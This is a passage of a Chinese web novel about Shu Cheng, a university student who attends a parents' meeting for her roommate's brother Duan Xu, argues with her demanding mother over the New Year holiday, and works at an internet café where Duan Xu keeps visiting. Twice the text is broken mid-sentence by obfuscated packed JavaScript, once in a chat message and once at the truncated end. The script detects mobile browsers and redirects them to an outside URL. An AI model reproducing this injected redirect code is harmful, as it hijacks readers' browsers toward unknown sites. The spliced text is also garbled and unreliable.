她拿出手机对着杜尚兰本来可以的分的填空题拍了张照,似乎发给了什么人,手指不停在屏幕上打字。 接下来几科,段叙答题卡上的成绩依然高的吓人。 英语145,物理95,化学96,生物92,文综试卷280。 旁边杜尚兰的分数除了物理拿了满分外,其他分数跟段叙都差不多,平均下来每科少两三分。 开到后来,她跟杜尚兰的妈妈已经不需要偷偷瞟彼此的卷子,而是直接拿来翻看。 杜尚兰妈妈点点头,“段叙这孩子字写的真漂亮。” 段叙的字,很有体系,一看就是系统练习过。 跟舒澄有意练成的阅卷的分体不同,他的字颇有几分潇洒之意,抑扬顿挫笔锋飘然,见字如见人,他写的字跟他这个人到有几分相似。 舒澄了解一点书法,看得出段叙的字骨骼结构下面有几分瘦金体的意思,却没被瘦金体完全箍着,写出了自己的风格。 “这老师开家长会有点奇怪,怎么把语文放到最后说?” 杜尚妈妈刚自言自语完,班主任就道,“好了,现在来说说语文。” “语文啊,问题最多,所以我放在最后。当然啊,张然家长你别紧张,咱们家张然那是国手级别的。” 此话一出,家长们笑起来。 “来大家把语文卷子和答题卡拿出来。” 卷子展开,125分。 说实话,不低。但舒澄前后看了一眼,都在135+,这分数放在一班,却不算高。她往右边一看,93分。 还有个更低的。 “这次我们班出了一个极地的分数,93分,这分数放眼学年那都是倒数后几个的,我跟语文老师了解了一下,什么原因呢,一共六十分的作文,就拿了23分,23分什么概念,考试的时候把前面阅读理解一字不落抄下来那也能拿12分辛苦分。” 分数太低,班主任没有点名。 但旁边杜尚兰的妈妈脸越来越红,舒澄用自己三脚猫的专业观察了一下,得出结论——气的。 她往后看了一眼段叙的作文,42分。 也不高。 班主任在台前继续讲话,舒澄将段叙的作文从头看到尾,发现了问题。 文笔有,储备量也有,观点犀利,辩论充足,唯一的问题就是,高中议论文为主,多半是看图判断主题,然后由学生自定主题。 说是自定,其实标准答案就那么几个方向。但偏偏段叙写的题目很偏门,你说他写的不对,文章论据又能自圆其说,只不过不是阅卷老师想要看到的标准答案。 遇到严厉的老师,打个偏题分20+也是有可能的。 这样的作文不能说不好,只是不是能拿高分的作文。 杜尚兰妈妈在旁边一边听着班主任不点名道姓的批评,一边用手机疯狂打字。 大礼堂。 杜尚兰没写几道题手机就在裤兜里一震,他不用打开都知道是谁发过来的说了什么,脸变成苦瓜,“你说我还能活到明天吗?” 段叙:“嗯” 杜尚兰叹口气,拿出手机,三十几条未读,将他卷子上所有不该错的地方一一拍照,最近一条就是那张写着23分的作文答题卡。 “天啊,我完了,老段我真的完了。”杜尚兰道,“她能不能看在我物理满分的基础上绕过我这一次。” “嗯。” “真的吗?你真的这么觉得吗?” “嗯。” “谢谢你老段,连你都这么说我就放心了。” 段叙摘下一边耳机,“你刚说什么?我带耳机没听见。” “……” 杜尚兰翻了个大白眼,“我说,下次能不能让舒澄姐来帮我开家长会?你看她多好,都不会说你。” “滚。” 教室内。 家长会已到尾声,班主任点名留了几位家长,众人散场。 第一次没被班主任留到家长会最后,舒澄挺开心,将段叙的卷子一一整理好放在书桌里。 正当她要起身时,在人群中被家长们围住的班主任突然抬起头,“杜尚兰,段叙的家长你们留一下哈。” 安渝只好又坐下。 她还从来没作为优等生的家长被老师找。 等到周围一圈家长散去后,教室内只剩下被点名留下来的几位家长,班主任跟其他几人聊完后,走到舒澄和杜尚兰妈妈身边。 班主任年纪不大,很随和。 她坐在二人前面,拿出一张成绩单,“这个成绩单想必大家也看到了,你们看出来什么问题没有?” 杜尚兰妈妈头痛道,“尚兰语文哪怕再加二十分就能到班级前十了。” “是啊。”班主任道,“二十分啊,杜尚兰妈妈,这二十分他要做物理、做数学,得算多久?他期中语文也不高,才126吧,126那可是普班的平均分,一班和二班的平均分都是135。他跟平均分都差了11分。” 杜尚兰妈妈连连点头。 “杜尚兰虽说要走物理竞赛这条路,但毕竟才高一,咱不能这么早放弃语文,尤其是作文。” “老师说的是。” 在班主任个杜尚兰妈妈说话期间,舒澄将成绩单浏览了一遍。 段叙排名第二。 跟第一名差了8分。 其他分数他跟第一名咬的很死,唯独语文比第一名少了十分。 说完杜尚兰,班主任又回过头来对舒澄道:“段叙也是一样的,语文老师快对这俩头痛死了,一个作文写不好,一个能写好总是在跑题边缘试探,欠练啊这小子,写个百八十篇应试作文他就知道该怎么写了。” “高中作文跟初中命题作文不一样,不能太放飞自我啊。” 舒澄从善如流点头。 - 从教学楼出来,外面已然天黑。 “等等——你好——”身后传来声音。 舒澄回头,看见一位很漂亮的女生冲自己跑过来。 不知是天气冷的还是害羞,女生的双颊粉红,“你是段叙的姐姐吗?” “我是他姐姐的室友。” “都一样。”女生从怀里拿出一封粉色的信封,“你能帮我把这封信给段叙吗?” 舒澄第一次被人当面塞情书,还是女生,“你怎么不自己给他?” 女生害羞道:“姐姐,我怕他不收,你就帮我给了可以嘛?” 这孩子心真大。 怎么不考虑下自己万一真是段叙的亲姐姐,会不会介意自家弟弟早恋这件事。 不过想到段斐那个性格,估计也不会太在意。 寒风刺骨,女生白嫩的手指被冻得通红,却没有要收回手的意思。 舒澄只好接下来,“仅此一次。” 女生连连道谢,“谢谢姐姐,姐姐真是人美心善。” 出了校门,舒澄没着急去公交车站,而是去了学校附近的书店。她在书架上看到那本书,拿起付了款,从书店出来,她重新回到附中。 来到大礼堂门口,给段叙发了消息,让他下来一趟。 不到三分钟,段叙的身影就从礼堂楼出来。 “舒澄姐。” 舒澄被风吹的脑门疼,她伸手揉了揉冰凉的额头,把在门口被迫接的教育机构发的袋子递给他,“给你买的。” 段叙一愣,接过袋子,打开。 里面躺着一本《冲刺高考满分作文,实战108篇》 眼皮一跳。 “你作文写的不差,就是揣摸不到出题人的意思,这本书我当年高考的时候买过,你跟着练应该会挺有收获的。” 段叙合上袋子,“谢谢舒澄姐。” “没事,你回去自习吧。”舒澄吸了下鼻涕,将羽绒服帽子戴上。 她刚要转身,突然想到什么,又转回身,从兜里摸出一片粉色的信封。 突然有些难以启齿,自己一个长辈居然帮着小孩做信鸽,舒澄差点咬了舌头,“有个女生让我帮忙给你的。” 段叙撩着眼眸看了舒澄一眼,“等一下。” 他转身返回礼堂楼。 不出一分钟,他从楼里跑出来,手里拿了条米色羊绒围巾,“这个给你。” 舒澄愣住,她还以为他接情书需要什么仪式感,没想到是给自己拿围巾。 她吸着鼻涕,“没事,我不冷,我一会儿上公交车就好了。” “拿着吧,要是你感冒了,我姐会骂我。”段叙坚持。 那条羊绒围巾一看就很暖和,舒澄戴了帽子,但冷风直直地灌进她领口,她今天也是出门时被阳光骗到了,没想到晚上会这么冷。 她接过,道了声谢,三两下围在脖子上,瞬间活过来,“到时候我让段斐帮忙带给你。” “嗯。” 想到那封信,她又拿出来,“这个给你。” 段叙盯着那封信,忽地一笑。 “姐姐,你好奇怪。” 舒澄:“?” “一边帮我买辅导书让我好好学习,一边又帮着别人给我递情书。”少年声音清澈到不行,像是世界上最干净的水晶。 “那你到底是希望我好好学习,还是早恋?” 12. 弟弟 舒澄老脸一红,仓皇把情书揣回口袋,“学习,学习重要。” 她长这么大,还是第一次在别人面前落荒而逃。 也不知道自己怎么了,还真是脑子昏头了不成。 居然帮一个高中生递情书! 回到寝室,一开门看见在门口坐着的段斐,她心里有点心虚。 段斐问家长会还顺利吗。 舒澄点点头,“你弟弟学习好。” 段斐嗯了声,瞥到舒澄脖子上的米色围巾,“你这围巾,怎么有点眼熟。” “我今天忘带围巾,晚上风大,你弟弟就把他的围巾借给我了。”舒澄走到自己的桌前,“周末你回家帮我带回去还给他吧。” “哦,好。”不是什么大事,段斐没上心。她给大家分了在脱口秀剧院门口买的零食,伸了个懒腰继续回位置玩游戏。 舒澄坐在位置上歇了一会儿,拿起毛巾起身去卫生间洗澡。 从浴室出来,她看到刚才被自己放在桌面上的情书,心里一梗。 还回去是不可能了,附中学生那么多,她早都忘了给情书的女生长什么样子。 扔掉吧。 她刚把情书拿起来,就被眼尖的叶从容看见,“天呐舒澄你手里拿的什么!” “有人给你情书了??” 这话一出,几人全都看过来。 舒澄对上段斐目光灼灼,她心虚道:“不是。” 段斐两三步跑过去,把情书拿在手里,左右打量,“粉色的,还带香味,有点娘啊送情书这人。” “……不是,这不是给我的。”舒澄想把情书抢回来,被段斐灵巧躲过。 “不是给你的?那是给谁的?” “……你弟弟。” 寝室内安静几秒。 段斐嘴角一抽,把情书直接拆开,轻车熟路到好像拆了段叙不少情书:“好没意思。” 叶从容:“斐姐,你也太淡定了吧,不怕你弟弟早恋吗。” “早恋?”情书看了没两行,段斐就扔回舒澄的桌上,“感觉早恋这两个字跟他无缘,我看他自恋还差不多,你们敢信从幼儿园开始就有人给他送情书了,以前从学校回来,书包一开一兜子情书,好夸张。” “那是年纪小。” 叶从容一副看透的模样,“他现在高中,16岁,长得那么好看,正是青春期荷尔蒙萌动的时候,跟以前初中小学幼儿园的那可不一样了。” 段斐听进去了,“这样吗?” “当然啊,高中欸那可是,十几岁里最美好的岁月,不早恋的高中那还是高中吗。” 寝室的八卦话题从段叙的情书变成大家高中有没有早恋过。 舒澄作为一个高中要把自己淹死在知识的海洋里的学生,对这个话题没有可以插嘴的地方,她匀出一只耳朵听叶从容讲自己是怎么追那位学长,又是如何为了给他送水从而给整个篮球队都买了矿泉水。 那封被拆开的情书就那么大剌剌的敞开着,躺在她桌上。 她抬了几次手想把情书直接团掉扔进垃圾桶,最终还是没阻挡住那颗八卦之心。 我就看一眼。 舒澄这么想。 高一一班的段叙,你好! 是什么时候开始喜欢上你的呢?我想应该是开学第一天,你作为优秀新生上台发言,那是我第一次发现原来真实世界里也有这么帅的男孩子。 犹豫了这么久,我终于鼓起勇气把心事写在这封信里,希望你可以收到…… 说好一眼,舒澄没再继续看,将情书整理到信封内,这一次她没有扔,而是放在了书架里。毕竟是一位女生真挚的心意,她觉得直接扔进垃圾桶似乎有些残忍。 … 随着温度持续降低,宜大迎来了期末周。 元旦跨年夜舒澄是一个人在图书馆过的,馆长在一楼煮了一大锅饺子,分给在馆内学习的同学们。 每个人都被分到一碗饺子,舒澄也有。 碗不大,里面大概装了五六个饺子,热气腾腾的。 舒澄一边做题一边吃饺子,从图书馆到食堂要走十几分钟,她为了奖学金在时间上是能挤就挤,今天除了早上的一顿,这碗饺子是她吃的第一口热乎饭。 热热乎乎的饺子咽下肚,暖腹感从胃里蔓延开。 她的头后知后觉痛起来。 今天还没休息过。 她放下笔,转了转酸痛的手腕,拿出手机刷刷朋友圈。 元旦的缘故,朋友圈里很热闹,段斐、叶从容、陈小雨都有更新动态,看她们发的内容,不是在国外惬意地躺在沙滩上,就是跟家人在一起。 舒澄一一点赞。 滑到下面,她看到了黄丹发的朋友圈。 【元旦一家人吃个团圆饭】 配图是黄丹、舒杰和舒不凡在一桌丰盛的晚餐前笑容灿烂。 她指尖一顿,将黄丹的朋友圈滑走。夹起一只饺子吞进嘴里,茴香馅的,是她最喜欢的馅料。但因为舒不凡不喜欢,所以这种馅在家里根本不会出现。 舒澄将几只饺子全部吃完,关上手机继续做题。 图书馆里有人接到家里的电话,撒娇说自己为了奖学金真的好辛苦,等考完试回家要吃好多好吃的。 她眼前突然模糊起来,摘掉眼镜,按了按眼角。 这时,手机屏幕一亮。 有人给她发来消息。 舒澄打开一看,是黄丹。 花开富贵:【几号的车票回家?】 这条消息上面,就是九月份开学她转完学费发的那句‘省着点用!’。 整个学期,黄丹没有发过一条消息询问她生活费是不是够用,也再没转过来一毛钱。 舒澄还以为她忘记自己还有一个在宜宁上学的女儿。 舒澄回:【寒假不回去了。】 在学校学习这几个字还没打完,黄丹的语音电话就打了过来。 舒澄按下接听键。 黄丹暴怒的声音传来:“寒假不回家你怎么想的?过年不回来?到时候你那些七大姑八大姨不来吗?你是没有人性的畜生吗过年还不回?我看你是在外面几个月玩野了吧?” 听筒声音不大,但黄丹嗓门很大。 周围有同学已经看过来,舒澄走出阅读教室,这一路黄丹嘴上没停。 “你他妈可别跟我说是买不到回家的票?从宜宁到咱们家这个破县城三十几块钱的路程还有人跟你抢啊??” 舒澄声音平淡:“我找了一个兼职。”原本她想用在学校学习稳住黄丹,但听她劈头盖脸的臭骂,舒澄突然改了主意。 “兼职?”黄丹果然更生气了,“你一个女孩子做什么兼职?抛头露面!赶紧给我回家,过年你想让我一个人在厨房忙活累死我吗?那是你的七大姑八大姨,我是替你接待!” 舒澄想笑。 替她伺候,她这位妈妈可真会说啊。她差一点就内疚了。 “妈妈,我不做兼职,哪有钱吃饭?” “给了你那么多钱你还说没钱吃饭?在家的时候你就跟见饭不要命似的在外面也这样?我看还是打你打的少!” 给了你,那么多钱。 是啊,交完学费和住宿费以后她只剩下不到四百。 如果真靠着这四百,她恐怕早就饿死在学校了。 “见饭没命,你怎么那么馋?我告诉你你别想骗我,我之前可问过了,你们大学吃饭很便宜,一天下来顶多三块钱,一个月一百还不够你吃?你还想吃什么?” 舒澄突然无话可说。 她跟黄丹在这里争论的意义在哪里呢,难道她试图在这几句的交谈里就能让黄丹认识到十几年来她犯了什么样的错误吗。 不可能。 “是的,但舒不凡上学也很费钱,我想为家里减轻负担,这样以后学费、生活费和住宿费我都可以自己负责,算下来一年能给家里节省小一万块,能让舒不凡多上几节课外课。” 果然,一听说舒澄自己兼职以后一年能省下来一万块钱,黄丹不说话了。 但她对舒澄过年不回家还是很不满意,“你一个女孩子大过年不回家,让别人看见了得怎么说咱家?” “过年期间,三倍日薪。” “啊三倍啊……正好你弟弟想换个显示器还是……” 电话背景舒不凡喊了一句显卡。 “对显卡,也不知道那是啥玩意,你一个人在宜宁也花不了那么多钱,兼职的钱下来以后给你弟弟转两千——” 舒不凡又喊了一句两千六百八十八! “转两千七。这样人家来家里问舒澄人呢,我就说舒澄赚钱给他弟弟买显卡了,说出去你过年不回家也不会那么丢人了。” 舒澄浑身颤抖,紧紧握着手机,冷汗从她掌心渗出。 她听到自己波澜不惊的声音,“好。” 下一秒,电话立马被挂断。 多一个呼吸的时间都没有停留。 舒澄一连做了三次深呼吸,这才压制住身体的颤抖。 这学期靠着给邵遥遥做兼职,还有她自己节省,现在卡里有四千多块,舒不凡的显卡她不是给不起,就是——很恶心。 自己的女儿在学校一个月一百块钱的生活费就可以活得很安逸。 而她的儿子,要穿一千多块钱一双的名牌鞋,用两千多的显卡。 馆内突然一阵躁动。 大家纷纷跑到窗边向外看,是学校自己举办的一场烟花表演。 咻地一声,烟花升空而起。 手机震动。 Xu。。:【元旦快乐,舒澄姐。】 随后,1221寝室群也弹来消息。 斐乐:【学校是不是放烟花了?】 本命是biro:【啊啊啊啊啊啊啊啊元旦快乐啊朋友们!!!!!】 Black:【元旦快乐!】 本命是biro:【蛏子是不是还在图书馆啊?我听说图书馆发饺子了,啥馅的?】 舒澄心里紧绷的那根弦在看到这些消息后突然松了下去。 现在这样,挺好的。 她又何必去纠结数十年如一日的那个家庭呢,况且现在她已经快要逃出来了,只要她努力努力再努力,迟早有一天她可以不用再跟那个家庭产生任何牵扯。 她先回了段叙的祝福,【谢谢弟弟,祝你明年学习更上一层楼。】 然后,她到群,一本正经回复:【蛏子是哪位?】 段斐发过来满屏的哈哈哈哈哈哈哈。 叶从容发了个语音疯狂道歉,说澄子澄子澄子澄子澄子该死的输入法害她。 群里的消息还没回完,段叙的消息又弹来。 Xu。。:【好。】 这个元旦,开始热闹起来。 舒澄第一次感受到,属于自己的热闹。 她在群里把自己的昵称从舒澄改为蛏子,叶从容@完她以后,发了一连串省略号,【澄子,我发现你这人的底色也是有点不正经在身上的。】 Black:【我说她是个罐子。】 一个装满水的罐子。 斐乐:【等等啊我弟好像早恋了卧槽!】 本命是biro:【说中了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143855|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧哈哈哈哈哈!快讲讲你是怎么发现的。】 段斐消失了好一阵没出来,叶从容在群里催她。 本命是biro:【快啊斐姐,我这跟家里人斗地主都在等你消息。】 斐乐:【吗的没抢到手机,明明以前所有情书任我拆,刚才看他不知道跟谁说话笑成——你们懂那种笑容吗,就是……我靠真绝了!】 Black:【怕什么,弟弟这次期末考试不是考很好嘛?】 本命是biro:【对了我一直想问为啥弟弟期末考试那么早?12月中就考完了。】 斐乐发来语音:“附中是这样的,期末考完以后到最终放假还有小一个月,在这期间要讲卷子,查缺补漏,不让学生把问题带到下一学期……等等他去厕所了我去偷手机。” 本命是biro:【等你好消息!】 斐乐:【等着。】 结果段斐一直没再出现,陈小雨说她应该在跟弟弟打架。 大家又聊了一会儿,群内才安静下来。 元旦过后,便是为期一周的考试周。 考试结束,寒假正式开始。 寝室其他三人都在收拾行李,只有舒澄一个人坐在位置上喝热水,半点没有要收拾的样子。 叶从容好奇问:“澄子,你寒假不回家吗?” 舒澄吹了吹杯子里的水,雾气传上镜片,“我寒假有兼职。” 叶从容道:“寒假兼职?那你假期不回家了吗?我看生活部发了通知,说过年期间寝室要封寝的,那你到时候住哪?” “我找了一个网咖的兼职,当网管。老板说过年期间可以让我在网咖睡,有员工宿舍。” 舒澄说完,寝室三人都不说话了,好像觉得过年不回家是一件特别可怜的事情。 舒澄笑了一下,“不到两个月,工资有三千五呢,过年期间还有三薪,挺好的呀。” “学校附近的网咖都关门了,你在哪家上班?”段斐将衣服扔进行李箱,叠也不叠,那些衣服都在箱子里堆成了一座小山,她一边把衣服从衣架上扯下来,一边问。 “零度网咖。” … 零度网咖。 “上啊上啊中单在干什么,大招不放要留着回家过年吗?上啊中单!!!不会玩你选什么劫啊真绝了!!!要不是他冲进去我们都不跟着上,我们上了他不放技能故意坑人把!气死我了你看我不喷死你!” 杜尚兰气的破口大骂,站起来在键盘上打字跟人对线。 “他说我是煞笔,绝了吗的你才是煞笔你全家都是煞笔。” 屏幕上是英雄联.盟团战画面,此刻红方已经将蓝方杀的只剩一人。 杜尚兰光顾着在键盘上打字骂人,没注意到自己打野从草丛一路绕到敌方身后。 击杀。 二杀。 三杀。 四杀。 五连绝世! 仅剩两格血的打野保护者一排小兵直推对面高地,点掉水晶。 你全家都是煞笔这几个字还没打完,屏幕上就显示出胜利字样。 杜尚兰一愣,“赢了?” 他扭头看向旁边在最后一波团战秀了一手操作的自己打野,“五杀?赢了?” 段叙把头戴式耳机摘下,挂在电脑屏幕上,“对面都残血。” “牛逼!”杜尚兰感动到不行,正要说一些段叙最讨厌的肉麻屁话,身后走上来三位女生。 “你好同学,我们在后面看到你刚才的操作好厉害啊,你能带我们一起玩吗?”开口的是三位里相貌最出众的,一头栗色中长发,声音甜美。 段叙:“不好意思,我们打算下机了。” 女生指着电脑屏幕剩余55分钟的倒计时,“还有将近一小时才到下机时间呢,我们不坑的,都是黄金段位。” 段叙在众目睽睽下关掉电脑,起身,散漫道:“玩累了,不好意思。” 女生们还是第一次看见有人用这么无所谓的语气说出不好意思四个字,面面相觑,神色尴尬。 杜尚兰同情一笑,也关掉电脑跟上段叙。 两人走后,女生在原地恼羞成怒,“你们看到了吗,他身边那个朋友还冲咱们挑衅的笑,装什么啊!” “就是!” 被人骂了的杜尚兰对此浑然不觉,趁着懒腰打个哈欠,“每次跟你来网吧,都有女生搭讪,你什么时候能为了兄弟我的终身大事带个妹子。” “你想得美。” 杜尚兰挠头,他还记得有一次段叙在打团,正是关键时期,不知道从哪出来一个女生挡住屏幕威胁说不带她一起就不让开,想想是挺烦人,“要不以后换一家吧,我哥的朋友在咱们学校附近又新开了一家咖啡网咖,环境挺好的。” 段叙刚想说可以,兜里就响起了微信消息的提示音。 他拿出来一看,是段斐。 斐乐:【舒澄寒假在你经常去的那家网吧兼职,你没事帮忙照看一下。】 斐乐:【别否认说你从来不去网吧,我看过你跟杜尚兰进去,否认我就跟爸妈告状。】 Xu。。:【……】 斐乐:【当你同意了,反正你寒假也不跟我出去旅游。】 关上手机,段叙道:“不用换。” 杜尚兰:“?” 杜尚兰:“你不觉得烦吗?” 段叙:“教导主任就住学校附近,免得被他遇见。” 这么说也是。 杜尚兰点头。 他走了几步,又觉得不对,欸了一声。 “你什么时候还怕上教导主任了?” 13. 弟弟 网咖的工作很轻松,只要坐在前台帮来上网的人开机子就可以。 舒澄是大学生,晚上还要回寝室,所以也不用上夜班,晚上八点多就可以下班,还能赶得上回学校的公交车。 这天,舒澄在前台背单词。 “你好,开一台机器,三个小时。” “六十块钱。”舒澄抬头,一愣,“你还没成年吧?” 来人不是别人,正是段叙。 少年唇红齿白,眸尾轻挑,淡淡开口:“舒澄姐。” 网咖老板从杂物间出来,一见段叙便热情道:“小段来啦?今天怎么没跟尚兰一起来。” 段叙从钱包拿出一张百元钞票,“他回老家。” 老板跟杜尚兰的哥哥是好兄弟,吩咐舒澄:“这位没关系,自家弟弟,给他开一台。” 老板发话,舒澄便不好再多说什么,明显他们两个看起来相熟。她给段叙开了一台机,接过他手里的钞票,找零四十。 段叙的机器离前台不远,舒澄坐直身体就能看见他带着耳机在玩游戏,神色认真。 寒假网咖内人流量不多,馆内很安静,她甚至能听到段叙敲打键盘的声音。 在工作的地方可以看到熟人的感觉还不错,舒澄继续沉下心来背单词。 下机时间到,段叙准时关掉电脑。 路过前台,他看到舒澄桌上摆着的面包和牛奶,停下脚步,“舒澄姐,我走了。” 舒澄把嘴里的面包咽下去,“弟弟再见。” 段叙的目光掠过舒澄嘴边的面包屑,“舒澄姐,你中午就吃面包吗?” “嗯。”舒澄喝了一口牛奶,“你呢,要去吃饭吗?” “家里阿姨做了饭,现在回去。” “好,弟弟注意安全哈。”舒澄冲他摆手笑。 段叙看了看面包和奶,也礼貌的回以再见,转身离去。 第二天,同样的时间,段叙出现在前台。 “舒澄姐,帮忙开一台机,三个小时。” 舒澄眨眨眼,没记错他家应该有电脑才对,她没说什么,给他开了跟昨天同一个位置的机器。 她仍是一边背单词,一边时不时抬头看看段叙,毕竟是段斐的弟弟,她得看着点。 时间过半,舒澄从后面的柜子里拿了一瓶温热的矿泉水走过去放在段叙桌上。 屏幕里技能特效眼花缭乱,她一个外行也能看得出段叙指速很快。 这游戏她也知道,好像叫什么英雄什么盟,舒不凡经常在家玩,动不动就气得破口大骂,有一次还摔了她送过去的水果。 这个游戏,舒不凡玩的不好,他更常玩的是地下城和守望先锋,但不管玩哪个他都会被气得扯嗓子骂人,有时候还会砸键盘。 但段叙玩游戏就很安静,除了敲键盘的声音,他只偶尔发出不耐烦的啧声,并不会像舒不凡一样口不择言。 屏幕战况激烈,舒澄没有打扰,放了水就打算离开。 “舒澄姐。”段叙操纵英雄躲进草丛里,指了指桌面上的矿泉水,“这是给我的吗?” “嗯,怕你渴。” “谢谢。”段叙扬唇笑了一下。 看得舒澄有些恍惚,有那么一瞬间她心里居然产生了如果段叙是她弟弟就好了,舒不凡那个败家孩子爱给谁给谁的想法。 段叙将耳机摘下一半,“你也想玩吗?”他示意游戏屏幕。 舒澄忙摆手,“我手残,贪吃蛇都勉强能玩。” 段叙笑笑,继续玩游戏。 舒澄就在旁边看了一会儿,见他操作人物,基本上一进去连着放几个技能就能把敌人杀死。 看起来还挺简单的,不知道为什么舒不凡会气成那样。 “你左边草丛里有个人,怎么不杀?”舒澄指了下站在他旁边的那个彪形大汉。 “这个是队友。” “队友?” “嗯,队友的话杀不了,虽然有时候我也很想把他们一起杀了。” 舒澄不懂,所以不知道段叙是跟她开了个玩笑。 她越看,越觉得这个游戏有点意思,而且看起来真的很简单,就是键盘上几个按键按一按,人就被杀掉了。 段叙看她,“要不你试试?” 舒澄有点心动,“可以吗?” “可以啊。”段叙把耳机彻底摘掉,自己到旁边的位置坐下。 舒澄则坐在他的位置。 “技能键是QWER这四个,你可以用鼠标右键操控人物移动。” “下面这两个黄色的技能是什么意思?” “这两个是DF,你可以点一下试试。” 舒澄按照段叙所说,按了一下D,画面里她的人物瞬间穿墙而过。 “好厉害!” 段叙笑了一下。 此时排位团战,中单不停发请求集合的信号,却看见自家打野站在野区穿墙玩,又不打野。 一口血差点喷到中路。 中单只玩亚索:【打野你干嘛呢?疯了吗?打团了哥!!!】 段叙注意到对话框里队友的言论,他说了句等下。 少年手指修长,在键盘上飞速点了一下,不知道关了什么东西,舒澄也不懂。 “继续吧。” 舒澄看着地图中间好几个头像聚在一起,“我也能去这吗?” “当然可以。” 舒澄磕磕绊绊滑动鼠标让自己的人物来到队友和敌方聚集的敌方,她学着刚才段叙的操作,一头扎进人群,QWER一通点,只见人群中红色血条的人物连头发丝都没动一下,下一秒她的人物就飞到了半空,再也没下来过。 队友:?????打野是不是疯了? 对面:?????还有这种好事? 如果舒澄知道这个起飞的专业名词,那她就会知道自己这是被击飞了。 并且是被连控——连续击飞。 直到页面变为灰色,她才反应过来,动动鼠标,呆呆地问:“他怎么躺下了,我点这里也没用了。” 段叙碰了下眉尾,“他死了。” 舒澄啊一声,“这个游戏看起来简单,玩起来还挺难的。” 说话的时候,画面变动,从人物躺着的地方换到了一个大水晶上面,当水晶上方的最后一点血条消失后,画面由黑白变为彩色,蓝色的晶体在风中被摧毁,下一秒,巨大的失败二字出现在屏幕中央。 舒澄:“……输了?” 段叙:“嗯。” 舒澄赶紧让位,“还是你玩吧,我果然还是只适合玩贪吃蛇。” “我以前也玩不好,多练就好了。” 舒澄觉得自己还是适合贪吃蛇这种简单的游戏,她没再继续打扰段叙,回到前台利用空闲时间听英语新闻背单词。 她给自己定下的寒假目标,就是能够流利的说英语口语,哪怕都是很简单的句子。 以前在高中都是应试教育,不注重读音,只要会背单词背语法就可以。 但这次宜大英语期末考试就有口语这一项,她听了其他学生的口语,都很流利,尤其是段斐,她是纯正的英国腔,还受到了英语老师的表扬。 她也第一次意识到自己跟这座顶级学府内学生们的差异。 考进宜大,只是一个开始。 临近中午,一位拎着两个保温饭盒的中年女性来到前台。 “你好,我想找一下里面有没有一位叫段叙的人?” 舒澄:“您是?” “我是他家阿姨,给他来送饭。” 舒澄指了指斜对角不远戴着耳机的那个少年,“在那。” “谢谢啊。” 中年女性没多做停留,送完饭盒就离开了。 舒澄起身到零食柜买了一个面包和一盒奶,刚坐在位置想要撕开包装,段叙拎着保温饭盒来到前台。 他看了眼舒澄手里还没拆封的面包,眉毛不经意皱了一下,“舒澄姐,还没吃饭吗?” 舒澄冲他晃了晃手里的面包,“正要吃。” “牛奶面包啊。”段叙撒起谎来眼皮动都不动一下,“我很喜欢吃这个口味的面包。” 舒澄一愣,把面包递给他,“那这个给你。” 段叙没客气,接过面包,撕开包装,两三口就把整个面包吃进嘴里,腮帮子鼓鼓的,看起来有几分可爱。 他面无表情,“好吃。” 舒澄差点笑出声,想说你这个表情看起来可不像好吃的样子。 段叙将面包咽下,“刚吃了面包,阿姨送过来的饭菜我就吃不下了,但是要是剩了的话回去肯定被骂。” 舒澄呆愣,总有一种掉入了某种陷阱的感觉。 “舒澄姐,你能跟我一起吃吗?” 三分钟后,舒澄坐在段叙对面,拿着一次性筷子,看段叙将保温饭盒一层层拿下来。 糖醋排骨,粉蒸丸子,清炒菜心,素炒虾仁,尖椒炒肉。 还有两碗清润玉米汤。 连米饭都有两碗。 想到他刚才狼吞虎咽吃面包的样子,舒澄的心像是被一捧温水从上淋到下。 她知道,段叙是看自己只是面包和牛奶,才用这种方式让自己好好吃饭。 来到宜宁后,她已经接收到了比之前十九年人生加起来还要多的好意。 像梦一样。 段叙把菜都摆的离舒澄很近,舒澄夹了一块虾仁放进嘴里,味道很好。 她看段叙夹走一块清炒菜心,吃的缓慢。段叙吃相很好,不像舒不凡总是发出吧唧嘴的声音,还喜欢嗦筷子,再插.进他喜欢的每一道菜里搅拌。 看着段叙吃相这么好,舒澄突然笑了一下。 段叙将嘴里的食物咽下,“怎么了?” 舒澄笑着说:“我突然想到一件事。” “什么事?” “我在想,如果是三个月前你跟我一起吃饭,肯定会被我吓到,那时候我吃相很差。” 三个月前,她吃起饭来还像饿死鬼投胎一样,一口接着一口,狼吞虎咽。 不光吃的快,还吃得多。 虽然她现在坐在段叙对面,心里还是会不自在、紧张、冒冷汗,但是已经能控制不用不停地往嘴里塞东西来压制内心的不安了。 “我应该没那么容易被吓到。”少年喝了一口汤,“我胆子还挺大的。” … 后面很长的一段时间,段叙总是隔三差五会来网咖上网。 有时候只呆一小时,有时候时间久一点,要五六个小时。 期间,舒澄还遇到过几次小女生跟他搭讪。 但都没见他有过什么热情的回应。 这到叫舒澄生了一点八卦之心,还记得元旦时段斐曾说他似乎有一个早恋对象。 看多了段叙拒绝别人,舒澄还真有些好奇他会跟怎样的女生早恋。 临近过年,宜大寝室封闭,舒澄提前收拾了一些洗漱用品和换洗衣物搬到了网咖员工宿舍。说是员工宿舍,其实是杂物间里面的一个沙发床,以前网咖老板都会在里面午睡。 过年期间老板要回老家,就把这个杂物间的钥匙给了舒澄。 “网咖厕所你随便用,杂物间里没有监控,你放心住,钥匙给你。” 于是,老板便把整个网咖的钥匙和储物间的钥匙全都给了舒澄。 这老板心也怪大的。 临近过年,网咖每天几乎没什么人。 舒澄每天睡到九点,起来洗漱完给网咖开门,然后在前台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 